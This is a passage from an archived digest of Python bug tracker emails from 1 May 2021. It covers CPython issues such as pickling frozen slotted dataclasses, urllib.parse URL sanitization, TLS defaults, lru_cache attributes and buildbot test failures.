at bugs.python.org (=?utf-8?q?St=C3=A9phane_Bidoul?=) Date: Sat, 01 May 2021 14:46:05 +0000 Subject: [issue43993] Update bundled pip to 21.1.1 In-Reply-To: <1619809188.59.0.0758758715434.issue43993@roundup.psfhosted.org> Message-ID: <1619880365.16.0.848558081978.issue43993@roundup.psfhosted.org> Change by St?phane Bidoul : ---------- pull_requests: +24474 pull_request: https://github.com/python/cpython/pull/25783 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 11:06:22 2021 From: report at bugs.python.org (Yonatan Goldschmidt) Date: Sat, 01 May 2021 15:06:22 +0000 Subject: [issue36656] Add race-free os.link and os.symlink wrapper / helper In-Reply-To: <1555577087.92.0.769196427693.issue36656@roundup.psfhosted.org> Message-ID: <1619881582.66.0.685367778419.issue36656@roundup.psfhosted.org> Change by Yonatan Goldschmidt : ---------- nosy: +Yonatan Goldschmidt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 11:07:54 2021 From: report at bugs.python.org (Yonatan Goldschmidt) Date: Sat, 01 May 2021 15:07:54 +0000 Subject: [issue31356] Add context manager to temporarily disable GC In-Reply-To: <1504655244.01.0.877867263237.issue31356@psf.upfronthosting.co.za> Message-ID: <1619881674.87.0.643081456749.issue31356@roundup.psfhosted.org> Change by Yonatan Goldschmidt : ---------- nosy: +Yonatan Goldschmidt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 11:49:41 2021 From: report at bugs.python.org (Paul Moore) Date: Sat, 01 May 2021 15:49:41 +0000 Subject: [issue43993] Update bundled pip to 21.1.1 In-Reply-To: <1619809188.59.0.0758758715434.issue43993@roundup.psfhosted.org> Message-ID: <1619884181.7.0.210043678577.issue43993@roundup.psfhosted.org> Paul Moore added the comment: New changeset af1e06c62f3958082c4b409e771f291d12479b3d by St?phane Bidoul in branch '3.9': [3.9] bpo-43993: Update vendored pip to 21.1.1 (GH-25761). (GH-25782) https://github.com/python/cpython/commit/af1e06c62f3958082c4b409e771f291d12479b3d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 11:50:14 2021 From: report at bugs.python.org (Paul Moore) Date: Sat, 01 May 2021 15:50:14 +0000 Subject: [issue43993] Update bundled pip to 21.1.1 In-Reply-To: <1619809188.59.0.0758758715434.issue43993@roundup.psfhosted.org> Message-ID: <1619884214.9.0.699504663456.issue43993@roundup.psfhosted.org> Paul Moore added the comment: New changeset 6034c4aa58fe7257d39b53c77944393700c66396 by St?phane Bidoul in branch '3.8': [3.8] bpo-43993: Update vendored pip to 21.1.1 (GH-25761). (GH-25783) https://github.com/python/cpython/commit/6034c4aa58fe7257d39b53c77944393700c66396 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 11:51:08 2021 From: report at bugs.python.org (Ned Batchelder) Date: Sat, 01 May 2021 15:51:08 +0000 Subject: [issue41129] setup.py test for macOS SDK files may incorrectly classify files in other file systems In-Reply-To: <1593195068.14.0.719266681703.issue41129@roundup.psfhosted.org> Message-ID: <1619884268.49.0.0868901218883.issue41129@roundup.psfhosted.org> Ned Batchelder added the comment: I just spent an hour debugging this problem. I don't understand the intricacies of how setup.py is looking for files, but more and more people will have Catalina and the issue this presents. I can confirm that Andrew's suggestion works. Can we get this applied to 3.10? ---------- nosy: +nedbat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 12:03:38 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 01 May 2021 16:03:38 +0000 Subject: [issue43999] Cannot pickle frozen dataclasses with slots Message-ID: <1619885018.94.0.115449567872.issue43999@roundup.psfhosted.org> New submission from Eric V. Smith : Originally reported in https://github.com/ericvsmith/dataclasses/issues/154 import pickle from dataclasses import dataclass @dataclass(frozen=True, slots=True) class ExampleDataclass: foo: str bar: int assert ExampleDataclass.__slots__ == ("foo", "bar") assert pickle.loads( pickle.dumps(ExampleDataclass("a", 1)) ) == ExampleDataclass("a", 1) File "", line 4, in __setattr__ dataclasses.FrozenInstanceError: cannot assign to field 'foo' I'll get a PR ready, likely based on ariebovenberg's solution in the above mentioned issue. ---------- assignee: eric.smith components: Library (Lib) messages: 392603 nosy: eric.smith priority: deferred blocker severity: normal status: open title: Cannot pickle frozen dataclasses with slots versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 12:04:42 2021 From: report at bugs.python.org (Ned Batchelder) Date: Sat, 01 May 2021 16:04:42 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1619885082.53.0.203076679098.issue43933@roundup.psfhosted.org> Ned Batchelder added the comment: I'm trying to see if these changes affect coverage.py, but pytest 6.2.3 fails with: === CPython 3.10.0a7+ (rev 558df90109) with Python tracer (.tox/anypy/bin/python) === ImportError while loading conftest '/Users/nedbatchelder/coverage/trunk/tests/conftest.py'. TypeError: required field "lineno" missing from alias Is this something I am doing wrong? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 12:06:10 2021 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Bidoul?=) Date: Sat, 01 May 2021 16:06:10 +0000 Subject: [issue43993] Update bundled pip to 21.1.1 In-Reply-To: <1619809188.59.0.0758758715434.issue43993@roundup.psfhosted.org> Message-ID: <1619885170.45.0.913817457743.issue43993@roundup.psfhosted.org> Change by St?phane Bidoul : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 12:09:31 2021 From: report at bugs.python.org (Anthony Sottile) Date: Sat, 01 May 2021 16:09:31 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1619885371.27.0.442625014046.issue43933@roundup.psfhosted.org> Anthony Sottile added the comment: ah yeah that's the `asname` ast change -- if you use the unreleased main branch it has a fix for that ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 12:09:56 2021 From: report at bugs.python.org (Ned Batchelder) Date: Sat, 01 May 2021 16:09:56 +0000 Subject: [issue41129] setup.py test for macOS SDK files may incorrectly classify files in other file systems In-Reply-To: <1593195068.14.0.719266681703.issue41129@roundup.psfhosted.org> Message-ID: <1619885396.92.0.0207835855115.issue41129@roundup.psfhosted.org> Change by Ned Batchelder : ---------- keywords: +patch pull_requests: +24475 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25785 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 12:58:42 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 01 May 2021 16:58:42 +0000 Subject: [issue43999] Cannot pickle frozen dataclasses with slots In-Reply-To: <1619885018.94.0.115449567872.issue43999@roundup.psfhosted.org> Message-ID: <1619888322.88.0.213379536415.issue43999@roundup.psfhosted.org> Change by Eric V. Smith : ---------- keywords: +patch pull_requests: +24477 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25786 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:06:30 2021 From: report at bugs.python.org (Cyril Jouve) Date: Sat, 01 May 2021 17:06:30 +0000 Subject: [issue44000] Current PY_VERSION 3.10.0a7+ does not conform to PEP 440 Message-ID: <1619888790.71.0.422787760296.issue44000@roundup.psfhosted.org> New submission from Cyril Jouve : It was changed from 3.10.0a7 to 3.10.0a7+ in https://github.com/python/cpython/commit/04eecf7fac8bb8d7a19d14cf2009088046956ab5 According to https://www.python.org/dev/peps/pep-0440/#public-version-identifiers, it should be something like 3.10.0a7.post1 or with https://www.python.org/dev/peps/pep-0440/#local-version-identifiers, it should be something like 3.10.0a7+post see also implementation in packaging: https://github.com/pypa/packaging/blob/main/packaging/version.py#L225 ---------- messages: 392607 nosy: Cyril Jouve priority: normal severity: normal status: open title: Current PY_VERSION 3.10.0a7+ does not conform to PEP 440 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:11:49 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 01 May 2021 17:11:49 +0000 Subject: [issue44000] Current PY_VERSION 3.10.0a7+ does not conform to PEP 440 In-Reply-To: <1619888790.71.0.422787760296.issue44000@roundup.psfhosted.org> Message-ID: <1619889109.71.0.629565261602.issue44000@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +lukasz.langa, ned.deily, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:15:22 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 01 May 2021 17:15:22 +0000 Subject: [issue44001] typing.Literal: args must be hashable, not immutable Message-ID: <1619889322.68.0.709429587996.issue44001@roundup.psfhosted.org> New submission from Jelle Zijlstra : After the changes from bpo-42345, the Literal documentation claims that "Literal objects will now raise a TypeError exception during equality comparisons if one of their parameters are not immutable." But in fact it's *unhashable* types that raise an error; mutable but hashable types such as functions or custom objects work fine. I'll submit a PR for this but may wait until GH-25787 is resolved. ---------- assignee: Jelle Zijlstra components: Documentation messages: 392608 nosy: Jelle Zijlstra priority: normal severity: normal status: open title: typing.Literal: args must be hashable, not immutable versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:16:38 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 01 May 2021 17:16:38 +0000 Subject: [issue44000] Current PY_VERSION 3.10.0a7+ does not conform to PEP 440 In-Reply-To: <1619888790.71.0.422787760296.issue44000@roundup.psfhosted.org> Message-ID: <1619889398.48.0.226832629022.issue44000@roundup.psfhosted.org> Jelle Zijlstra added the comment: PEP 440 applies to Python packages, not to CPython itself. The "+" convention has been used in CPython for a long time, and changing it without a strong justification seems risky. ---------- nosy: +Jelle Zijlstra -lukasz.langa, ned.deily, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:17:15 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sat, 01 May 2021 17:17:15 +0000 Subject: [issue44000] Current PY_VERSION 3.10.0a7+ does not conform to PEP 440 In-Reply-To: <1619888790.71.0.422787760296.issue44000@roundup.psfhosted.org> Message-ID: <1619889435.24.0.500232423524.issue44000@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +lukasz.langa, ned.deily, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:18:26 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Sat, 01 May 2021 17:18:26 +0000 Subject: [issue43972] Simple HTTP Request Handler in http.server does not set a content-length and does not close connections on 301s In-Reply-To: <1619658397.03.0.0874955697236.issue43972@roundup.psfhosted.org> Message-ID: <1619889506.64.0.0294396388523.issue43972@roundup.psfhosted.org> Senthil Kumaran added the comment: Hi Stephen, Could you give a brief demo of using curl to see the problematic behavior. I have testing with a version python and saw that without content length, the curl was behaving properly. ``` $mkdir foo $#add index.html to directory foo $python -m http.server foo $ curl -I -L http://0.0.0.0:8082/foo HTTP/1.0 301 Moved Permanently Server: SimpleHTTP/0.6 Python/3.6.13+ Date: Sat, 01 May 2021 17:16:14 GMT Location: /foo/ HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.6.13+ Date: Sat, 01 May 2021 17:16:14 GMT Content-type: text/html Content-Length: 171 Last-Modified: Sat, 01 May 2021 14:34:48 GMT ``` And ``` curl --version curl 7.65.3 ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:26:20 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 01 May 2021 17:26:20 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1619889980.34.0.454198883162.issue43882@roundup.psfhosted.org> Gregory P. Smith added the comment: I think there's still a flaw in the fixes implemented in 3.10 and 3.9 so far. We're closer, but probably not quite good enough yet. why? We aren't stripping the newlines+tab early enough. I think we need to do the stripping *right after* the _coerce_args(url, ...) call at the start of the function. Otherwise we (1) are storing url variants with the bad characters in _parse_cache [a mere slowdown in the worst case as it'd just overflow the cache sooner] (2) are splitting the scheme off the URL prior to stripping. in 3.9+ there is a check for valid scheme characters, which will defer to the default scheme when found. The WHATWG basic url parsing has these characters stripped before any parts are split off though, so 'ht\rtps' - for example - would wind up as 'https' rather than our behavior so far of deferring to the default scheme. I noticed this when reviewing the pending 3.8 PR as it made it more obvious due to the structure of the code and would've allowed characters through into query and fragment in some cases. https://github.com/python/cpython/pull/25726#pullrequestreview-649803605 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:30:03 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 01 May 2021 17:30:03 +0000 Subject: [issue43999] Cannot pickle frozen dataclasses with slots In-Reply-To: <1619885018.94.0.115449567872.issue43999@roundup.psfhosted.org> Message-ID: <1619890203.29.0.859119770792.issue43999@roundup.psfhosted.org> Change by Eric V. Smith : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:43:55 2021 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 01 May 2021 17:43:55 +0000 Subject: [issue43994] change representation of match as / capture as `Name(..., ctx=Store())` In-Reply-To: <1619847651.22.0.717639075783.issue43994@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Honestly if someone manages to get a PR in I won?t be a spoilsport. So make me +0.-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 13:59:25 2021 From: report at bugs.python.org (Cyril Jouve) Date: Sat, 01 May 2021 17:59:25 +0000 Subject: [issue44000] Current PY_VERSION 3.10.0a7+ does not conform to PEP 440 In-Reply-To: <1619888790.71.0.422787760296.issue44000@roundup.psfhosted.org> Message-ID: <1619891965.28.0.750497527116.issue44000@roundup.psfhosted.org> Cyril Jouve added the comment: sure, I'll raise the issue with poetry then. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 14:17:15 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 01 May 2021 18:17:15 +0000 Subject: [issue44002] Use functools.lru_cache in urllib.parse instead of 1996 custom caching Message-ID: <1619893035.74.0.250033562413.issue44002@roundup.psfhosted.org> New submission from Gregory P. Smith : `urllib.parse` has custom caching code for both `urlsplit()` and `quote()`. From 1996. https://github.com/python/cpython/commit/3fd32ecd9232fcb041b9f1f7a19a1e7e65cf11a0 https://github.com/python/cpython/commit/74495409861b357d9925937d6576229c74e2550d with a truthful comment added by Nick in 2010 that we should just use functools.lru_cache. https://github.com/python/cpython/commit/9fc443cf590c76d4b979c46dc954d3956cee0319#diff-b3712475a413ec972134c0260c8f1eb1deefb66184f740ef00c37b4487ef873e time to clean up this cruft and do that. I'm waiting for after the 3.10 cut and a still in progress urllib.parse security fix to land before rebasing my soon to be attached PR to avoid code conflicts. ---------- assignee: gregory.p.smith components: Library (Lib) messages: 392614 nosy: gregory.p.smith priority: normal severity: normal status: open title: Use functools.lru_cache in urllib.parse instead of 1996 custom caching type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 14:20:47 2021 From: report at bugs.python.org (Tal Einat) Date: Sat, 01 May 2021 18:20:47 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1566370033.98.0.615651298891.issue37903@roundup.psfhosted.org> Message-ID: <1619893247.48.0.837600986319.issue37903@roundup.psfhosted.org> Tal Einat added the comment: The "copy only code" feature has been removed for now. It can't currently be properly implemented, due to code input not being marked different than user input in between REPL commands, e.g. in response to an input() call. With that, the PR is currently free of known bugs. I'd be very grateful to anyone who would try it out and give some feedback! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 14:26:21 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 01 May 2021 18:26:21 +0000 Subject: [issue43815] documentation for types.new_class() mention misleading default for exec_body In-Reply-To: <1618237407.5.0.0559454407816.issue43815@roundup.psfhosted.org> Message-ID: <1619893581.05.0.978029030194.issue43815@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24478 pull_request: https://github.com/python/cpython/pull/25789 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 14:53:17 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 18:53:17 +0000 Subject: [issue43998] Increase security of TLS settings in 3.10 In-Reply-To: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org> Message-ID: <1619895197.0.0.0599588346274.issue43998@roundup.psfhosted.org> Christian Heimes added the comment: New changeset e983252b516edb15d4338b0a47631b59ef1e2536 by Christian Heimes in branch 'master': bpo-43998: Default to TLS 1.2 and increase cipher suite security (GH-25778) https://github.com/python/cpython/commit/e983252b516edb15d4338b0a47631b59ef1e2536 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 14:53:40 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 18:53:40 +0000 Subject: [issue43998] Increase security of TLS settings in 3.10 In-Reply-To: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org> Message-ID: <1619895220.37.0.192990929457.issue43998@roundup.psfhosted.org> Change by Christian Heimes : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 14:54:41 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 18:54:41 +0000 Subject: [issue43989] Enum deprecation breaks SSL tests In-Reply-To: <1619802976.1.0.850329373801.issue43989@roundup.psfhosted.org> Message-ID: <1619895281.04.0.589592174494.issue43989@roundup.psfhosted.org> Christian Heimes added the comment: Thanks Roberto! I leave the review to Ethan. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:00:17 2021 From: report at bugs.python.org (Luke Granger-Brown) Date: Sat, 01 May 2021 19:00:17 +0000 Subject: [issue34027] python 3.7 openpty/forkpty build failure using nix package manager macOS environment In-Reply-To: <1530567068.14.0.56676864532.issue34027@psf.upfronthosting.co.za> Message-ID: <1619895617.94.0.5062688241.issue34027@roundup.psfhosted.org> Luke Granger-Brown added the comment: Still seems to be a problem with everything up to Py3.11. ---------- nosy: +lukegb versions: +Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:05:59 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 01 May 2021 19:05:59 +0000 Subject: [issue44002] Use functools.lru_cache in urllib.parse instead of 1996 custom caching In-Reply-To: <1619893035.74.0.250033562413.issue44002@roundup.psfhosted.org> Message-ID: <1619895959.19.0.33724092154.issue44002@roundup.psfhosted.org> Raymond Hettinger added the comment: While you're cleaning up the module, take a look at the Quoter class. It overrides __init__ and __missing__, so Quoter is not using any of the defaultdict features at all. I'm thinking it could just inherit from dict. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:23:36 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 01 May 2021 19:23:36 +0000 Subject: [issue44002] Use functools.lru_cache in urllib.parse instead of 1996 custom caching In-Reply-To: <1619893035.74.0.250033562413.issue44002@roundup.psfhosted.org> Message-ID: <1619897016.67.0.494254919108.issue44002@roundup.psfhosted.org> Gregory P. Smith added the comment: Yeah, the Quoter class seems a little odd... Past notes of some the caching performance around the character quoting for quote() can be found in https://bugs.python.org/issue1285086 circa 2005-2010. ---------- nosy: -rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:24:24 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 19:24:24 +0000 Subject: [issue43998] Increase security of TLS settings in 3.10 In-Reply-To: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org> Message-ID: <1619897064.37.0.766390895504.issue43998@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24479 pull_request: https://github.com/python/cpython/pull/25790 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:25:53 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 01 May 2021 19:25:53 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1619897153.79.0.904692211165.issue43916@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > See https://meta.discourse.org/t/what-is-a-wiki-post/30801 Gotcha, will try to do that as soon as possible ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:26:15 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 01 May 2021 19:26:15 +0000 Subject: [issue43957] [Enum] update __contains__ to return True for valid values In-Reply-To: <1619550668.75.0.616141985831.issue43957@roundup.psfhosted.org> Message-ID: <1619897175.59.0.239426692854.issue43957@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 9a42d5069a4c2a531076abfb198d2be26b57216c by Pablo Galindo in branch 'master': bpo-43957: Add a missins space to the new format enum warning (#25770) https://github.com/python/cpython/commit/9a42d5069a4c2a531076abfb198d2be26b57216c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:49:53 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 01 May 2021 19:49:53 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function Message-ID: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> New submission from Gregory P. Smith : When the C implementation of functools.lru_cache was added in bpo/issue14373, it appears to have omitted setting `.__defaults__` on its wrapped function. ``` Python 3.10.0a7+ (heads/master-dirty:823fbf4e0e, May 1 2021, 11:10:30) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import functools >>> def func(b=5): pass ... >>> @functools.lru_cache ... def cached_func(b=5): pass ... >>> func.__defaults__ (5,) >>> cached_func.__defaults__ Traceback (most recent call last): File "", line 1, in AttributeError: 'functools._lru_cache_wrapper' object has no attribute '__defaults__' ``` functools.update_wrapper() does set __defaults__ so this appears to just be an oversight in Modules/_functoolsmodule.c. ---------- components: Library (Lib) keywords: 3.5regression messages: 392623 nosy: gregory.p.smith, serhiy.storchaka priority: normal severity: normal stage: needs patch status: open title: functools.lru_cache omits __defaults__ attribute from wrapped function type: behavior versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:52:38 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 19:52:38 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1619898758.88.0.00797338643296.issue43916@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24480 pull_request: https://github.com/python/cpython/pull/25791 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:55:25 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 01 May 2021 19:55:25 +0000 Subject: [issue43815] documentation for types.new_class() mention misleading default for exec_body In-Reply-To: <1618237407.5.0.0559454407816.issue43815@roundup.psfhosted.org> Message-ID: <1619898925.25.0.468722059218.issue43815@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24481 pull_request: https://github.com/python/cpython/pull/25788 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:56:22 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sat, 01 May 2021 19:56:22 +0000 Subject: [issue43815] documentation for types.new_class() mention misleading default for exec_body In-Reply-To: <1618237407.5.0.0559454407816.issue43815@roundup.psfhosted.org> Message-ID: <1619898982.51.0.785951437952.issue43815@roundup.psfhosted.org> Eric V. Smith added the comment: Thanks, shreyneil! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 15:56:45 2021 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 01 May 2021 19:56:45 +0000 Subject: [issue37903] IDLE Shell sidebar. In-Reply-To: <1619893247.48.0.837600986319.issue37903@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Also, presumably most users don?t right click and look for options. They just drag a selection and hit ^C (or cmd-C).-- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:08:59 2021 From: report at bugs.python.org (Pierre) Date: Sat, 01 May 2021 20:08:59 +0000 Subject: [issue512981] readline /dev/tty problem Message-ID: <1619899739.01.0.403683286222.issue512981@roundup.psfhosted.org> Pierre added the comment: I suggest to reopen this issue as there was a regression with python3. import sys sys.stdin = open("/dev/tty", "r") import readline print(input()) Write some text and press left. Expected: the cursor goes left. Actual: prints '^[[D' as is readline had not been imported. bltinmodule.c checks that the current sys.stdin filno matches the C stdin fileno. When they are different, it falls back to the default input implementation. https://github.com/python/cpython/blob/1e7b858575d0ad782939f86aae4a2fa1c29e9f14/Python/bltinmodule.c#L2097 I noticed that PyFile_AsFile no longer exists. Would calling `fdopen` be acceptable? ---------- nosy: +pierre.labatut type: -> behavior versions: +Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:12:28 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 01 May 2021 20:12:28 +0000 Subject: [issue44003] functools.lru_cache omits __defaults__ attribute from wrapped function In-Reply-To: <1619898593.46.0.475516317903.issue44003@roundup.psfhosted.org> Message-ID: <1619899948.68.0.781181145079.issue44003@roundup.psfhosted.org> Serhiy Storchaka added the comment: Where does functools.update_wrapper() set __defaults__? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:14:35 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 01 May 2021 20:14:35 +0000 Subject: [issue44004] test_nntplib is failing in all buildbots Message-ID: <1619900075.87.0.568727924353.issue44004@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : test test_nntplib crashed -- Traceback (most recent call last): File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/libregrtest/runtest.py", line 282, in _runtest_inner refleak = _runtest_inner2(ns, test_name) File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/libregrtest/runtest.py", line 229, in _runtest_inner2 the_module = importlib.import_module(abstest) File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "", line 1050, in _gcd_import File "", line 1027, in _find_and_load File "", line 1006, in _find_and_load_unlocked File "", line 688, in _load_unlocked File "", line 882, in exec_module File "", line 241, in _call_with_frames_removed File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/test_nntplib.py", line 350, in class NetworkedNNTP_SSLTests(NetworkedNNTPTests): File "/home/buildbot/buildarea/3.x.cstratak-RHEL7-x86_64.lto-pgo/build/Lib/test/test_nntplib.py", line 371, in NetworkedNNTP_SSLTests ssl_context = ssl._create_unverified_context() AttributeError: 'NoneType' object has no attribute '_create_unverified_context' 1 test failed again: test_nntplib Example failure: https://buildbot.python.org/all/#/builders/96/builds/107/steps/5/logs/stdio ---------- assignee: christian.heimes components: SSL messages: 392628 nosy: christian.heimes, pablogsal priority: normal severity: normal status: open title: test_nntplib is failing in all buildbots _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:16:18 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 20:16:18 +0000 Subject: [issue43908] array.array should remain immutable: add Py_TPFLAGS_IMMUTABLETYPE flag In-Reply-To: <1619031139.87.0.55032170532.issue43908@roundup.psfhosted.org> Message-ID: <1619900178.51.0.796605399688.issue43908@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +24482 pull_request: https://github.com/python/cpython/pull/25792 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:17:08 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 20:17:08 +0000 Subject: [issue43998] Increase security of TLS settings in 3.10 In-Reply-To: <1619865712.14.0.970623185064.issue43998@roundup.psfhosted.org> Message-ID: <1619900228.01.0.322837347157.issue43998@roundup.psfhosted.org> Christian Heimes added the comment: New changeset a5669b3c627e64c9196d9bb58b733eb723d34e99 by Christian Heimes in branch 'master': bpo-43998: Fix testing without ssl module (GH-25790) https://github.com/python/cpython/commit/a5669b3c627e64c9196d9bb58b733eb723d34e99 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:17:30 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 01 May 2021 20:17:30 +0000 Subject: [issue44004] test_nntplib is failing in all buildbots In-Reply-To: <1619900075.87.0.568727924353.issue44004@roundup.psfhosted.org> Message-ID: <1619900250.66.0.865933100691.issue44004@roundup.psfhosted.org> Christian Heimes added the comment: Should be fixed by a5669b3c627e64c9196d9bb58b733eb723d34e99 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 1 16:30:34 2021 From: report at bugs.python.org (Pablo Galindo 